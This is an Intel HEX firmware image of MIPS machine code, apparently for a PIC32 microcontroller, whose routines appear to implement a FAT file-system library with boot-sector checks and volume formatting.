:108090004000c38f21106200000042941400c2a36c
:1080a0002c00c28f0a004010000000001800c38797
:1080b00000a0023c40180300440642242110620044
:1080c000000042941500c2a33920400b00000000bc
:1080d0001800c2873c00c38f21106200000042904c
:1080e0001500c2a32c00c28f0a004010000000003f
:1080f0001800c38700a0023c401803004406422435
:1081000021106200000042940001422c0c0040103b
:10811000000000001400c293212040006157410f6d
:1081200000000000218040001500c2932120400083
:108130006157410f0000000019000212000000000a
:108140000b0002241000c2af7d20400b0000000095
:108150001800c287401002004000c38f2110620047
:10816000000043941800c48700a0023c4020040093
:10817000440642242110820000004294040062144c
:10818000000000002800c28f050040100000000021
:108190000b0002241000c2af7d20400b0000000045
:1081a0001800c287010042241800c2a71800c38724
:1081b0001a00c2872a1043000c0040100000000083
:1081c0001800c3871e00c2872a1043000500401410
:1081d000000000000b0002241000c2af7d20400b05
:1081e000000000007d20400b000000000320400b39
:1081f000000000003400c28f0b004014000000009b
:108200003000c38f0100022405006214000000004a
:108210000b0002241000c2af4d22400b00000000f2
:108220004d22400b000000003000c28f05004014ba
:10823000000000000b0002241000c2af4d22400bd2
:10824000000000002c00c28f07004010000000005a
:108250001e00c29702004224ffff42301e00c2a748
:108260009c20400b00000000080002241e00c2a752
:108270001a00c29702004224ffff42301800c2a732
:108280001800c287401002004000c38f2110620016
:10829000000043942a00022403006214000000003e
:1082a0003721400b000000002c00c28f0600401058
:1082b000000000001e00c3871c00c2872a10430074
:1082c00008004014000000002800c28f0900401080
:1082d000000000001e00c3870b000224050062148a
:1082e000000000000b0002241000c2af3721400b39
:1082f000000000001800c287401002004000c38f39
:1083000021106200000043943f0002244b006210e1
:10831000000000009c00c28f2c00428c33004010f3
:10832000000000001800c287401002004000c38f08
:1083300021106200000042941400c2a32c00c28fde
:108340000a004010000000001e00c38700a0023c8d
:1083500040180300440642242110620000004294a9
:108360001500c2a3e020400b000000001e00c287e1
:108370003c00c38f21106200000042901500c2a390
:108380002c00c28f0a004010000000001e00c387ae
:1083900000a0023c40180300440642242110620061
:1083a000000042940001422c0c004010000000002c
:1083b0001400c293212040006157410f00000000cb
:1083c000218040001500c293212040006157410fd9
:1083d0000000000019000212000000000b0002243f
:1083e0001000c2af3721400b000000001800c28708
:1083f000401002004000c38f21106200000043942f
:108400001e00c48700a0023c402004004406422411
:108410002110820000004294040062140000000059
:108420002800c28f05004010000000000b0002244d
:108430001000c2af3721400b000000001e00c287b1
:10844000010042241e00c2a71800c2870100422476
:108450001800c2a71800c387148182971d006214f8
:10846000000000002c00c28f060040100000000039
:108470001e00c3871c00c2872a1043000f00401053
:10848000000000002800c28f100040100000000013
:108490001e00c2870b0042280c00401000000000a4
:1084a0001e00c2873c00c38f211062000000439071
:1084b0002000022405006210000000000b000224ce
:1084c0001000c2af3721400b000000003721400be5
:1084d00000000000a020400b000000004c22400bd8
:1084e000000000002c00c28f23004010000000009c
:1084f0001c00c2971800c2a73000c0af5421400b27
:10850000000000001800c38700a0023c40180300d0
:108510004406422421106200000043942e000224ed
:108520000800621400000000010002243000c2af05
:108530001800c287ffff42241800c2a75721400b32
:10854000000000001800c287ffff42241800c2a7e5
:108550001800c287ebff401c000000003000c28ff3
:1085600007004014000000001c00c2971800c2a7ba
:108570006021400b00000000070002241800c2a781
:108580009c00c28f200043802a0002245d006210fc
:10859000000000001600c0a32c00c28f1300401082
:1085a000000000001600c39300a0023c4018030026
:1085b0004406422421106200000042940001422c33
:1085c00006004010000000001600c3931800c28788
:1085d0002a10430005004010000000000b00022498
:1085e0001000c2afc121400b000000002c00c28f60
:1085f0000a004010000000001600c39300a0023cd7
:1086000040180300440642242110620000004294f6
:108610001400c2a38c21400b000000001600c2937e
:108620003c00c38f21106200000042901400c2a3de
:108630001600c2939c00c38f21106200200042806c
:108640001500c2a31500c3932a000224030062147c
:1086500000000000c121400b000000001500c39382
:108660003f00022410006210000000001400c293ba
:10867000212040006157410f000000002180400090
:108680001500c293212040006157410f00000000f7
:1086900005000212000000000b0002241000c2af0f
:1086a000c121400b000000001600c29301004224cb
:1086b0001600c2a31600c393080002240f00621420
:1086c000000000002c00c28f0a00401000000000d3
:1086d0001600c3931800c2872a10430005004014f7
:1086e000000000000b0002241000c2afc121400bab
:1086f00000000000c121400b000000006621400b7b
:10870000000000009c00c28f280043802a00022441
:1087100087006210000000001000c28f8400401427
:10872000000000002c00c28f1d004010000000005f
:108730009c00c28f28004380200002240b0062149a
:10874000000000003000c38f010002240500621405
:10875000000000000b0002241000c2af4d22400bad
:10876000000000004d22400b000000003000c28fce
:1087700005004014000000000b0002241000c2afee
:108780004d22400b000000001800c2970200422456
:10879000ffff42301800c2a7ea21400b0000000092
:1087a000080002241800c2a7080002241600c2a371
:1087b0002c00c28f13004010000000001800c38777
:1087c00000a0023c4018030044064224211062002d
:1087d000000042940001422c0600401000000000fe
:1087e0001800c3871c00c2872a10430005004010f0
:1087f000000000000b0002241000c2af4c22400b0e
:10880000000000001600c2939c00c38f211062007c
:10881000200042801500c2a32c00c28f0d00401022
:10882000000000001800c287010043241800c3a7fd
:108830002118400000a0023c4018030044064224d6
:1088400021106200000042941400c2a31c22400bbd
:10885000000000001800c287010043241800c3a7cd
:108860003c00c38f21106200000042901400c2a39c
:108870001500c3932a0002240300621400000000c4
:108880004c22400b000000001500c3933f0002245f
:1088900010006210000000001400c293212040006c
:1088a0006157410f00000000218040001500c29375
:1088b000212040006157410f000000000500021216
:1088c000000000000b0002241000c2af4c22400b3d
:1088d000000000001600c293010042241600c2a34b
:1088e0001600c3930b0002240f0062140000000066
:1088f0002c00c28f0a004010000000001800c3873f
:108900001c00c2872a10430005004014000000002c
:108910000b0002241000c2af4c22400b00000000ec
:108920004c22400b00000000ec21400b0000000036
:10893000000000001000c28f47004014000000003b
:108940002c00c28f05004010000000004c00c297b0
:1089500001004224ffff42304c00c2a74c00c22756
:108960009800c48f212840008038400f000000008c
:108970004800c2a32c00c28f050040100000000078
:108980004c00c297ffff4224ffff42304c00c2a7b9
:108990009800c28f3a0042944a00c2a74a00c29788
:1089a0003f0042304a00c2a7a400c2930600401014
:1089b00000000000010003240d004310000000002f
:1089c0009622400b000000004a00c39708000224d2
:1089d00005006214000000000b0002241000c2af6a
:1089e0008f22400b000000008f22400b000000008f
:1089f0004a00c3974600c29724106200ffff42302e
:108a000003004010000000000b0002241000c2af61
:108a10002c00c28f06004010000000002000c39709
:108a20009800c28f340043a48e22400b0000000047
:108a30009800c28f340040a4000000009622400b32
:108a4000000000002400c0afa000c2930200401448
:108a5000000000001000c0af4c00c297010042248b
:108a6000ffff42304c00c2a74a1c400b0000000030
:108a70004a1c400b000000001000c28f21e8c00318
:108a80009400bf8f9000be8f8c00b08f9800bd27e0
:108a90000800e00300000000d8ffbd272400bfaf9e
:108aa0002000beaf21f0a0032800c4af2c00c5af4a
:108ab0002110c0003000c2a31000c0af2800c28f38
:108ac0000000428c1400c2af1400c28f25004290f7
:108ad0000500401400000000070002241000c2af8f
:108ae0004023400b000000002800c28f3c00438c54
:108af0002800c28f400043ac2c00c28f000042947b
:108b00000c004014000000002800c48f2c00c58f0a
:108b100001000624e72f400f00000000130040145e
:108b2000000000001b0002241000c2afdb22400b3b
:108b3000000000002c00c28f000042940f00423061
:108b40000a004010000000002800c48f2c00c58fd0
:108b500001000624e72f400f00000000030040142e
:108b6000000000001b0002241000c2af2800c48fc8
:108b70002c00c58f8038400f000000001800c2a3f1
:108b80001800c29305004010000000000b000224f2
:108b90001000c2af4023400b000000002800c28f2d
:108ba000100040ac2800c28f0400438c2800c28f04
:108bb000080043ac2800c28f0c0040a42800c28fdc
:108bc0000e0040a41800c3930100022405006214a3
:108bd000000000000b0002241000c2af2023400b55
:108be000000000002800c28f0800428c1400c48fcf
:108bf000212840006d3f400f000000001c00c2af64
:108c00004480829308004010000000003241400f71
:108c100000000000040040100000000009000224d1
:108c20004123400b000000002800c28f408082af2b
:108c30000880838f1c00c28f1100621000000000aa
:108c4000468080a31400c28f030043882120600067
:108c500000004498211080001c00c48f212840008f
:108c600001d6400f00000000030040140000000087
:108c7000080002241000c2af1c00c28f088082af1f
:108c80002800c38f180062908410027c180062a034
:108c90003000c3837700022405006210000000004a
:108ca0003000c383610002240c0062140000000045
:108cb0002800c38f18006290010004240400827c05
:108cc000180062a02800c38f180062904408027c3c
:108cd000180062a04023400b000000002800c38f52
:108ce000180062900400027c180062a02800c38f64
:108cf00018006290010004244408827c180062a0dd
:108d00001000c28f21e8c0032400bf8f2000be8f57
:108d10002800bd270800e00300000000d0ffbd27a9
:108d20002c00bfaf2800beaf21f0a0033000c4afbd
:108d30003400c5af1800c0a33000c28f0000428cc1
:108d40001c00c2af1c00c28f24004290010003240b
:108d50000c00431000000000030003240f00431424
:108d600000000000ff0f023cf8ff42341400c2afc5
:108d7000ff0f023cffff42341000c2af6c23400bd8
:108d800000000000f80f02241400c2afffff0234fd
:108d90001000c2af6c23400b00000000f8ff02344b
:108da0001400c2afffff02341000c2af0000000089
:108db0003000c28f0800428c2000c2af1c00c48f5c
:108dc0002000c58f8f49400f000000002400c2af73
:108dd0002400c38f1000c28f050062140000000041
:108de000080002241800c2a38f23400b00000000db
:108df0001c00c28f1900438821206000160044988f
:108e000021108000020043242400c28f2b10430055
:108e100003004014000000000a0002241800c2a34e
:108e20002400c38f1400c28f2b1062000300401473
:108e3000000000003c0002241800c2a33000c28fd2
:108e40002400c38f080043ac3400c28fffff4224cc
:108e50003400c2af3400c28f040040100000000094
:108e60001800c293d2ff4010000000001800c29307
:108e700021e8c0032c00bf8f2800be8f3000bd2723
:108e80000800e00300000000e0ffbd271c00bfafaa
:108e90001800beaf21f0a0032000c4af1000c0a393
:108ea0002000c28f250040a02000c28f00a0033cfc
:108eb00000046324030043a8000043b8ddd9400f39
:108ec000000000001400c2af1400c28f00004290e6
:108ed0000700401000000000060002241000c2a39a
:108ee00006000224388182a3e523400b0000000025
:108ef0001400c28f0000429400014230ffff423054
:108f000013004010000000001400c28f02004294c1
:108f1000211840002000c28f1d0043a81a0043b84a
:108f20001400c28f020042940102422c0800401437
:108f300000000000210002241000c2a3210002242e
:108f4000388182a31000c293e623400b000000008a
:108f50002000c48fec23400f000000001000c2a3cb
:108f60001000c2930b004014000000002000c48fca
:108f70000e25400f000000001000c2a31000c29395
:108f800004004014000000002000c28f01000324f0
:108f9000250043a01000c29321e8c0031c00bf8f2e
:108fa0001800be8f2000bd270800e003000000006d
:108fb000d0ffbd272c00bfaf2800beaf21f0a0031b
:108fc0003000c4af1000c0a33000c28f030043883c
:108fd0002120600000004498211080002120000022
:108fe0002128400001d6400f000000002118400059
:108ff00001000224070062100000000008000224a3
:109000001000c2a308000224388182a30725400b68
:10901000000000003000c28f030043882120600060
:1090200000004498211080001800c2af1800c28fc1
:10903000fe014390550002249a00621400000000d3
:109040001800c28fff014390aa0002249500621409
:10905000000000003000c28f030043882120600020
:109060000000449821108000212040003600052493
:10907000183f400f00000000211840004600022465
:109080003e006214000000003000c28f03004388dd
:109090002120600000004498211080002120400021
:1090a00037000524183f400f000000002118400041
:1090b0004100022431006214000000003000c28f21
:1090c00003004388212060000000449821108000a4
:1090d0002120400038000524183f400f0000000008
:1090e00021184000540002242400621400000000f3
:1090f0003000c28f030043882120600000004498a4
:10910000211080002120400039000524183f400f25
:1091100000000000211840003100022417006214f2
:10912000000000003000c28f03004388212060004f
:1091300000004498211080002120400026000524d2
:10914000183f400f000000002118400029000224b1
:109150000a006214000000003000c28f070040a81f
:10916000040040b83000c28f02000324240043a052
:10917000211000000825400b000000003000c28fc5
:1091800003004388212060000000449821108000e3
:109190002120400052000524183f400f000000002d
:1091a00021184000460002243e0062140000000026
:1091b0003000c28f030043882120600000004498e3
:1091c000211080002120400053000524183f400f4b
:1091d0000000000021184000410002243100621408
:1091e000000000003000c28f03004388212060008f
:1091f00000004498211080002120400054000524e4
:10920000183f400f000000002118400054000224c5
:1092100024006214000000003000c28f0300438865
:10922000212060000000449821108000212040008f
:1092300055000524183f400f000000002118400091
:109240003300022417006214000000003000c28fb7
:109250000300438821206000000044982110800012
:109260002120400042000524183f400f000000006c
:1092700021184000290002240a00621400000000a6
:109280003000c28f070040a8040040b83000c28ff1
:1092900003000324240043a0211000000825400bf4
:1092a000000000003000c28f0300438821206000ce
:1092b00000004498211080001c00c2af1c00c28f27
:1092c000fe014390550002240600621400000000d5
:1092d0001c00c28fff014390aa0002240700621005
:1092e0000000000004000224388182a3040002244c
:1092f0001000c2a30725400b000000001c00c28f15
:10930000be0142241400c2af1100c0a3ff24400bd1
:10931000000000001400c28f0b004388080043982f
:109320003000c28f070043a8040043b81400c28f66
:10933000040042902000c2a32000c2930f00432cdf
:10934000280060100000000080180200019d023c0f
:1093500064934224211062000000428c0800400007
:1093600000000000e493009da093009de493009d05
:10937000e493009db493009de493009db493009dfd
:10938000e493009de493009de493009de493009d8d
:10939000cc93009dcc93009de493009db493009ddd
:1093a0003000c28f01000324240043a0f924400ba5
:1093b000000000003000c28f02000324240043a0fc
:1093c0001000c2930825400b000000003000c28f3f
:1093d00003000324240043a01000c2930825400b7f
:1093e000000000001400c28f100042241400c2af1d
:1093f0001100c293010042241100c2a31100c293c4
:109400000400422cc3ff40140000000005000224a9
:10941000388182a3050002241000c2a31000c29369
:1094200021e8c0032c00bf8f2800be8f3000bd276d
:109430000800e00300000000c8ffbd273400bfaff4
:109440003000beaf21f0a0033800c4af1400c0a3a9
:109450001800c0af1c00c0af3800c28f070043889f
:10946000040043983800c28f0300448821288000fc
:10947000000045982110a000212060002128400014
:1094800001d6400f00000000211840000100022416
:109490000500621000000000080002241400c2a3ae
:1094a000f626400b000000003800c28f03004388fe
:1094b00021306000000046982110c0002000c2af9b
:1094c0002000c28ffe014390550002240600621462
:1094d000000000002000c28fff014390aa00022478
:1094e0000500621000000000030002241400c2a363
:1094f0005226400b000000003800c28f0300438852
:1095000021206000000044982110800021204000ac
:109510000e000524273f400f000000002400c2a7d2
:109520003800c28f0300438821286000000045985e
:109530002110a000212040000d000524183f400ffd
:1095400000000000211840003800c28f230043a013
:109550003800c28f07004388040043982400c29754
:10956000211862003800c28f0b0043a8080043b8de
:109570003800c28f03004388213060000000469805
:109580002110c0002120400010000524183f400f8a
:1095900000000000211840003800c28f220043a0c4
:1095a0003800c28f030043882120600000004498e7
:1095b000211080002120400016000524273f400f85
:1095c00000000000211840003800c28f210043a88d
:1095d0001e0043b83800c28f210043882128600054
:1095e0001e0045982110a0000e004014000000004d
:1095f0003800c28f03004388213060000000469885
:109600002110c0002120400024000524483f400fc5
:1096100000000000211840003800c28f210043a83c
:109620001e0043b83800c28f0b00438808004398df
:109630003800c28f22004290212040003800c28fa3
:10964000210045882130a0001e0046982110c0004e
:109650001800820012100000211862003800c28f2a
:109660000f0043a80c0043b83800c28f03004388a2
:10967000212060000000449821108000212040003b
:1096800011000524273f400f000000002118400072
:109690003800c28fff006430140045900000a530f0
:1096a0002520a400140044a0021a0300ffff633029
:1096b000150044900000843025188300150043a055
:1096c0003800c28f030043882128600000004598bd
:1096d0002110a0002120400013000524273f400f47
:1096e000000000001000c2af1000c28f0b00401439
:1096f000000000003800c28f030043882130600062
:10970000000046982110c0002120400020000524c0
:10971000483f400f000000001000c2af3800c28f69
:10972000030043882120600000004498211080003d
:10973000212040000b000524273f400f00000000bf
:109740002600c2a72600c2970500401000000000b6
:109750002600c297010042300500401000000000c2
:10976000210002241400c2a35226400b0000000076
:109770003800c28f1400439015004290001202007e
:1097800025104300ffff4230401902002600c29717
:10979000ffff4224211862002600c2971a006200cf
:1097a000f401400010100000121000002800c2afa9
:1097b0002400c3973800c28f22004290212040002d
:1097c0003800c28f210045882130a0001e00469835
:1097d0002110c00018008200121000002118620041
:1097e0002800c28f211062001000c38f2310620076
:1097f0002c00c2af3800c28f230042902c00c38fd0
:109800001b006200f401400010100000121800005c
:109810003800c28f190043a8160043b83800c28f21
:109820001900438821206000160044982110800010
:10983000f50f422c06004010000000003800c28fd7
:1098400001000324240043a02326400b0000000055
:109850003800c28f1900438816004398f5ff023480
:109860002b10620006004010000000003800c28f7c
:1098700002000324240043a02326400b0000000024
:109880003800c28f03000324240043a03800c28f95
:10989000240043900300022415006214000000001d
:1098a0003800c28f030043882128600000004598db
:1098b0002110a000212040002c000524483f400f2b
:1098c00000000000288182af3800c28f0f0043885b
:1098d0000c0043982800c28f211862003800c28f04
:1098e000130043a8100043b84c26400b00000000b2
:1098f000288180af3800c28f0f0043880c00439846
:109900003800c28f140044901500429000120200eb
:1099100025104400ffff423002110200ffff4230d9
:10992000211862003800c28f130043a8100043b80a
:109930002600c2970102422c0300401400000000e0
:10994000210002241400c2a33800c28f24004390d7
:10995000030002240e006210000000001400c293f5
:1099600099004010000000002000c28f4200439088
:109970002900022406006210000000002000c28faf
:1099800042004390280002248f006214000000006f
:109990002000c28f13004390140042900012020076
:1099a00025104300ffff42303b0040140000000040
:1099b0002000c28f340042903700401400000000a5
:1099c0002000c28f35004290330040140000000098
:1099d0002000c28f360042902f004014000000008b
:1099e0002000c28f370042902b004014000000007e
:1099f0002000c28f38004290270040140000000071
:109a00002000c28f39004290230040140000000063
:109a10002000c28f3a0042901f0040140000000056
:109a20002000c28f3b0042901b0040140000000049
:109a30002000c28f3c00429017004014000000003c
:109a40002000c28f3d00429013004014000000002f
:109a50002000c28f3e0042900f0040140000000022
:109a60002000c28f3f0042900b0040140000000015
:109a70002000c28f42004390290002240800621097
:109a8000000000002000c28f420043902800022402
:109a90000300621000000000030002241400c2a3af
:109aa0001400c29325004010000000001800c28f6f
:109ab0002200401400000000010002241800c2af80
:109ac0003800c28f07004388040043982000c28feb
:109ad00032004490330042900012020025104400ee
:109ae000ffff4230211862003800c28f0300448813
:109af00021308000000046982110c0002120600025
:109b00002128400001d6400f00000000211840002d
:109b10000100022406006210000000000800022478
:109b2000388182a308000224fc26400b00000000bc
:109b30001400c0a3f426400b000000001400c293e0
:109b400021004010000000001c00c28f1e004014c5
:109b500000000000010002241c00c2af3800c28fc8
:109b600007004388212060000400449821108000f1
:109b7000060043243800c28f030044882128800057
:109b8000000045982110a0002120600021284000fd
:109b900001d6400f000000002118400001000224ff
:109ba000060062100000000008000224388182a331
:109bb00008000224fc26400b000000001400c0a393
:109bc000f426400b00000000f626400b00000000c9
:109bd0003025400b000000001400c2930300401029
:109be000000000001400c293388182a31400c293c5
:109bf00021e8c0033400bf8f3000be8f3800bd277e
:109c00000800e00300000000f0ffbd270c00beaf1d
:109c100021f0a0031000c4af0000c0af1000c28f3d
:109c2000140042940000c2af0000c28f0014020072
:109c30000000c2af1000c28f1a0042940000c38f10
:109c4000251062000000c2af0000c28f21e8c003ef
:109c50000c00be8f1000bd270800e00300000000cc
:109c6000d8ffbd272400bfaf2000beaf21f0a00366
:109c70002800c4af2c00c5af1000c0af2800c28fb1
:109c800005004010000000002c00c28f0200422c92
:109c90000400401000000000ffff02242128400bb8
:109ca000000000002c00c28fffff43242800c28f59
:109cb0002b1062000400401000000000ffff02248f
:109cc0002128400b000000004480829308004010cf
:109cd000000000003241400f00000000040040106e
:109ce00000000000ffff02242128400b00000000bc
:109cf00000a0023c000444242128000000020624a5
:109d00006551410f0000000000a0023c0004422405
:109d10001400c2af2800c28f1800c2af1800c38f52
:109d20001505023c5b564234190062001010000019
:109d3000231862004218030021104300421302005e
:109d4000801302001000c2af1800c48f1505023c3a
:109d50005b56423419008200101000002318820064
:109d60004218030021104300421b02002110600032
:109d70008011020023104300001a02002318620021
:109d8000231083001800c2af1800c38f1004023cd8
:109d900005414234190062001010000023186200cf
:109da00042180300211043004211020080110200fa
:109db0001000c38f251062001000c2af1800c38fbf
:109dc0001004023c054142341900620010100000ea
:109dd000232062004220040021104400422102009e
:109de0002110800080110200231044002310620023
:109df0001800c2af1800c28f010042241000c38fa8
:109e0000251062001000c2af1000c28f02140200c1
:109e1000ff00433000a0023c00044224bf0143a0e5
:109e20001000c28f02120200ff00433000a0023c6b
:109e300000044224c00143a01000c28fff00433041
:109e400000a0023c00044224c10143a02c00c38fa7
:109e50002800c28f231862001400c28fcd0143a8ce
:109e6000ca0143b81400c28fcd014388212060008d
:109e7000ca014498211080003910422c060040107d
:109e8000000000001400c28f01000324c20143a09f
:109e9000b627400b000000001400c28fcd0143889c
:109ea000ca0143983f00023c60fd42342b1062001f
:109eb00006004010000000001400c28f06000324ba
:109ec000c20143a0b627400b00000000ffff0224a0
:109ed0002128400b000000001400c28f2800c38f0f
:109ee000c90143a8c60143b82800c38f2c00c28f04
:109ef00021106200ffff42241800c2af1800c38f78
:109f00001505023c5b564234190062001010000037
:109f1000231862004218030021104300421302007c
:109f2000801302001000c2af1800c48f1505023c58
:109f30005b56423419008200101000002318820082
:109f40004218030021104300421b02002110600050
:109f50008011020023104300001a0200231862003f
:109f6000231083001800c2af1800c38f1004023cf6
:109f700005414234190062001010000023186200ed
:109f80004218030021104300421102008011020018
:109f90001000c38f251062001000c2af1800c38fdd
:109fa0001004023c05414234190062001010000008
:109fb00023206200422004002110440042210200bc
:109fc0002110800080110200231044002310620041
:109fd0001800c2af1800c28f010042241000c38fc6
:109fe000251062001000c2af1000c28f02140200e0
:109ff000ff00433000a0023c00044224c30143a000
:10a000001000c28f02120200ff00433000a0023c89
:10a0100000044224c40143a01000c28fff0043305b
:10a0200000a0023c00044224c50143a01400c28fda
:10a03000be0140a01400c28f55000324fe0143a0be
:10a040001400c28faaff0324ff0143a021200000b7
:10a0500000a0023c0004452401000624b6d8400fad
:10a0600000000000211840000100022404006210da
:10a0700000000000ffff02242128400b0000000028
:10a080002110000021e8c0032400bf8f2000be8ff4
:10a090002800bd270800e0030000000090ffbd2756
:10a0a0006c00bfaf6800beaf21f0a003211080009c
:10a0b0007400c5af7800c6af7000c2a33c00c227d1
:10a0c0002400c2af388180a3468080a33c8080a357
:10a0d000ffff0224048082afffff0224088082afca
:10a0e0002400c28f00a0033c00046324030043a8a3
:10a0f000000043b820d5400f00000000ddd9400f1c
:10a10000000000002800c2af2800c28f000042906b
:10a11000060040100000000006000224388182a3df
:10a12000ffff0224122f400b00000000212000003e
:10a1300000a0023c0004452401d6400f00000000ae
:10a1400006004014000000001b000224388182a396
:10a15000ffff0224122f400b000000002400c28fda
:10a1600003004388212060000000449821108000f3
:10a170002c00c2af2c00c28ffe0143905500022478
:10a1800071006214000000002c00c28fff01439098
:10a19000aa0002246c006214000000002400c28f98
:10a1a0000300438821286000000045982110a0008a
:10a1b0002120400036000524183f400f0000000019
:10a1c00021184000460002245400621400000000e0
:10a1d0002400c28f030043882130600000004698ad
:10a1e0002110c0002120400037000524183f400ff7
:10a1f00000000000211840004100022447006214c2
:10a20000000000002400c28f03004388212060006a
:10a2100000004498211080002120400038000524cf
:10a22000183f400f00000000211840005400022495
:10a230003a006214000000002400c28f030043882b
:10a2400021286000000045982110a0002120400036
:10a2500039000524183f400f00000000211840007d
:10a26000310002242d006214000000002400c28f7f
:10a270000300438821306000000046982110c00090
:10a280002120400026000524183f400f0000000058
:10a290002118400029000224200062140000000060
:10a2a0001000c0af7000c2830b004010000000001f
:10a2b000010003240300431000000000c328400bea
:10a2c000000000001f000224388182a3ffff022447
:10a2d000122f400b000000002400c28f070040a88e
:10a2e000040040b82400c48f0e25400f0000000079
:10a2f00006004010000000001b000224388182a3e9
:10a30000ffff0224122f400b00000000000000009d
:10a3100000000000d728400b0000000000a0023c15
:10a32000000442241000c2af1000c28fc90143884c
:10a33000c60143982400c28f070043a8040043b815
:10a34000d728400b0000000004000224388182a3bb
:10a35000ffff0224122f400b000000007000c28398
:10a360000204401000000000010003240b04431409
:10a37000000000001000c28fcd0143882120600042
:10a38000ca014498211080003000c2af3000c28f53
:10a390003910422c59004010000000002400c28fe8
:10a3a00001000324240043a01000c28f01000324f5
:10a3b000c20143a02120000000a0023c000445246b
:10a3c00001000624b6d8400f00000000060040142b
:10a3d0000000000009000224388182a3ffff02244c
:10a3e000122f400b000000003000c28f2810422cba
:10a3f00006004014000000002400c28f0200032465
:10a40000230043a00629400b000000002400c28f57
:10a4100001000324230043a000a0023c00044424c4
:10a4200021280000000206246551410f00000000b1
:10a4300000a0023c00044224320003243a0043a05e
:10a440002400c28f230042904010020021184000d7
:10a450003000c28f21106200dfff42241c00c2af17
:10a460002400c28f23004290211840002110600078
:10a470008010020080200200211044000021020010
:10a480002110440021104300020042243400c2afd6
:10a490003400c38f1c00c28f21106200ffff4324d1
:10a4a0003400c28f1b006200f40140001010000055
:10a4b000122800001c00c5af2400c28f0200032434
:10a4c000220043a02400c28f140043900000633098
:10a4d000140043a015004390000063300200633471
:10a4e000150043a02400c28f1c00c38f210043a885
:10a4f0001e0043b8042a400b000000003000c38f48
:10a500003f00023c60fd42342b10620066004010a8
:10a51000000000002400c28f02000324240043a096
:10a520001000c28f06000324c20143a021200000b6
:10a5300000a0023c0004452401000624b6d8400fc8
:10a540000000000006004014000000000900022482
:10a55000388182a3ffff0224122f400b000000006d
:10a560003000c28fe8fd42241400c2af2400c28f25
:10a5700001000324230043a06929400b00000000d0
:10a580002400c28f2300429040100200ff0043309d
:10a590002400c28f230043a01400c28f4210020087
:10a5a0001400c2af1400c38feeff02342b10620000
:10a5b000f3ff4010000000002400c28f23004290ef
:10a5c0008100422c06004014000000000400022418
:10a5d000388182a3ffff0224122f400b00000000ed
:10a5e00000a0023c000444242128000000020624ac
:10a5f0006551410f0000000000a0023c000442240d
:10a60000360003243a0043a02400c28f2300429066
:10a6100040100200211840003000c28f211062005b
:10a62000dfff42241c00c2af2400c28f23004290ef
:10a6300000120200020042243400c2af3400c38f73
:10a640001c00c28f21106200ffff43243400c28f20
:10a650001b006200f40140001010000012300000e6
:10a660001c00c6af2400c28f02000324220043a0b6
:10a670002400c28f1400439000006330140043a0f4
:10a68000150043900000633002006334150043a0be
:10a690002400c28f1c00c38f210043a81e0043b8b2
:10a6a000042a400b000000002400c28f0300032492
:10a6b000240043a01000c28f0b000324c20143a05a
:10a6c0002120000000a0023c0004452401000624d3
:10a6d000b6d8400f00000000060040140000000043
:10a6e00009000224388182a3ffff0224122f400bad
:10a6f000000000003000c28f1400c2af2400c28fdf
:10a7000001000324230043a0cd29400b00000000da
:10a710002400c28f2300429040100200ff0043300b
:10a720002400c28f230043a01400c28f42100200f5
:10a730001400c2af1400c38f3f00023cffbf42347d
:10a740002b106200f2ff4010000000002400c28fb6
:10a75000230042908100422c0600401400000000bb
:10a7600004000224388182a3ffff0224122f400b31
:10a770000000000000a0023c000444242128000046
:10a78000000206246551410f000000003000c28f16
:10a79000e0ff42241c00c2af2400c28f230042907d
:10a7a000c0110200010042243400c2af3400c38f44
:10a7b0001c00c28f21106200ffff43243400c28faf
:10a7c0001b006200f4014000101000001210000095
:10a7d0001c00c2af2400c28f02000324220043a049
:10a7e0002400c28f1400439000006330140043a083
:10a7f000150043900000633002006334150043a04d
:10a800002400c28f1c00c38f210043a81e0043b840
:10a8100000a0023cebff0324000443a000a0023c84
:10a82000000442243c000324010043a000a0023c99
:10a830000004422490ff0324020043a000a0023c35
:10a84000000442244d000324030043a000a0023c66
:10a850000004422443000324040043a000a0023c5f
:10a860000004422448000324050043a000a0023c49
:10a870000004422450000324060043a000a0023c30
:10a880000004422420000324070043a000a0023c4f
:10a890000004422446000324080043a000a0023c18
:10a8a0000004422441000324090043a000a0023c0c
:10a8b00000044224540003240a0043a000a0023ce8
:10a8c000000442240b0040a000a0023c00044224eb
:10a8d000020003240c0043a02400c28f23004390f5
:10a8e00000a0023c000442240d0043a02400c28fbb
:10a8f00024004390010002240600621000000000c2
:10a900002400c28f24004390020002240701621435
:10a910000000000000a0023c0004422408000324c0
:10a920000e0043a000a0023c000442240f0040a0ff
:10a930002400c28f0700438821206000040044984f
:10a9400021108000080043242400c28f0b0043a87c
:10a95000080043b800a0023c000442240200032483
:10a96000100043a000a0023c00044224110040a0bb
:10a9700000a0023c0004422402000324120043a071
:10a9800000a0023c00044224130040a000a0023cae
:10a9900000044224140040a000a0023c0004422411
:10a9a000f8ff0324150043a01c00c28fff004330b2
:10a9b00000a0023c00044224160043a01c00c28fe9
:10a9c00002120200ff00433000a0023c00044224b7
:10a9d000170043a000a0023c000442243f000324cf
:10a9e000180043a000a0023c00044224190040a02b
:10a9f00000a0023c00044224ffff03241a0043a0ed
:10aa000000a0023c000442241b0040a02400c28f8e
:10aa10000700438821286000040045982110a00009
:10aa2000ff00433000a0023c000442241c0043a06d
:10aa30002400c28f0700438821306000040046983c
:10aa40002110c00002120200ff00433000a0023caf
:10aa5000000442241d0043a02400c28f0700438845
:10aa6000212060000400449821108000021402009c
:10aa7000ff00433000a0023c000442241e0043a01b
:10aa80002400c28f070043882128600004004598f5
:10aa90002110a00002160200ff00433000a0023c7b
:10aaa000000442241f0043a03000c28fff00433047
:10aab00000a0023c00044224200043a03000c28fca
:10aac00002120200ff00433000a0023c00044224b6
:10aad000210043a03000c28f02140200ff00433067
:10aae00000a0023c00044224220043a03000c28f98
:10aaf00002160200ff00433000a0023c0004422482
:10ab0000230043a000a0023c00044224240040a0f3
:10ab100000a0023c00044224250040a000a0023c0a
:10ab20000004422429000324260043a07400c28f9d
:10ab3000ff00433000a0023c00044224270043a051
:10ab40007400c28fff004324000044280b106400ef
:10ab500003120200ff00433000a0023c0004422424
:10ab6000280043a07400c28fffff03342118430064
:10ab7000000044280b10640003140200ff0043305f
:10ab800000a0023c00044224290043a07400c28fac
:10ab9000ff00033cffff63342118430000004428fa
:10aba0000b10640003160200ff00433000a0023cbb
:10abb000000442242a0043a07800c28f2d004010d8
:10abc000000000002000c0af022b400b000000007e
:10abd0002000c28f2b0044247800c38f2000c28f36
:10abe0002110620000004280ff00433000a0023cc0
